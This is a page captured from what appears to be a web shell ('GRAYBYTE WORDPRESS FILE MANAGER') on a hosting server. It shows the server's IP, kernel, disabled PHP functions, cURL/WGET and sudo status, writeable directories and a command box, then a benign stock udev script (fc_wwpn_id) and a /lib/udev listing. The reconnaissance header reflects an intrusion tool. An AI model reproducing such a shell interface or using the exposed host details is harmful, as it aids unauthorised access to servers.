GRAYBYTE WORDPRESS FILE MANAGER6463

Server IP : 149.255.58.128 / Your IP : 216.73.216.122
System : Linux cloud516.thundercloud.uk 5.14.0-427.26.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 17 15:51:13 EDT 2024 x86_64
PHP Version : 8.2.28
Disable Function : allow_url_include, apache_child_terminate, apache_setenv, exec, passthru, pcntl_exec, posix_kill, posix_mkfifo, posix_getpwuid, posix_setpgid, posix_setsid, posix_setuid, posix_setgid, posix_seteuid, posix_setegid, posix_uname, proc_close, proc_get_status, proc_open, proc_terminate, shell_exec, show_source, system
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /lib/udev/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /lib/udev//fc_wwpn_id
#!/usr/bin/bash
#
# fc_wwpn_id
#
# Generates device node names links based on FC WWPN
# Copyright (c) 2016-2021 Hannes Reinecke, SUSE Linux GmbH
#
# This program is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the
# Free Software Foundation version 2 of the License.
#

DEVPATH=$1
SCSIPATH=$(cd -P "/sys$DEVPATH/device" || exit; echo "$PWD")

d=$SCSIPATH
[ -d "$d/scsi_disk" ] || exit 0
target_lun=${d##*:}

while [ -n "$d" ] ; do
    d=${d%/*}
    e=${d##*/}
    case "$e" in
	rport*)
	    rport=$e
	    rport_dir="/sys/class/fc_remote_ports/$rport"
	    if [ -d "$rport_dir" ] ; then
		rport_wwpn=$(cat "$rport_dir/port_name")
	    fi
	    ;;
	host*)
	    host=$e
	    host_dir="/sys/class/fc_host/$host"
	    if [ -d "$host_dir" ] ; then
		host_wwpn=$(cat "$host_dir/port_name")
		break;
	    fi
    esac
done

if [ -n "$rport_wwpn" ] || [ -n "$host_wwpn" ] ; then
    echo "FC_TARGET_LUN=$target_lun"
fi

if [ -n "$rport_wwpn" ] ; then
    echo "FC_TARGET_WWPN=$rport_wwpn"
fi

if [ -n "$host_wwpn" ] ; then
    echo "FC_INITIATOR_WWPN=$host_wwpn"
fi

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
March 26 2025 22:43:12
0 / root
0555
hwdb.d
--
March 21 2025 22:43:25
0 / root
0755
rules.d
--
May 08 2025 21:42:23
0 / root
0755
ata_id
19.445 KB
March 18 2025 04:14:51
0 / root
0755
cdrom_id
31.594 KB
March 18 2025 04:14:51
0 / root
0755
dmi_memory_id
27.539 KB
March 18 2025 04:14:51
0 / root
0755
fc_wwpn_id
1.107 KB
January 04 2021 06:17:04
0 / root
0755
fido_id
23.438 KB
March 18 2025 04:14:51
0 / root
0755
kpartx_id
2.331 KB
October 02 2024 19:55:51
0 / root
0755
mtd_probe
15.406 KB
March 18 2025 04:14:51
0 / root
0755
prefixdevname
1.45 MB
March 25 2022 15:11:18
0 / root
0755
rename_device
15.344 KB
November 14 2024 17:04:06
0 / root
0755
scsi_id
36.141 KB
March 18 2025 04:14:51
0 / root
0755
v4l_id
15.406 KB
March 18 2025 04:14:51
0 / root
0755

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF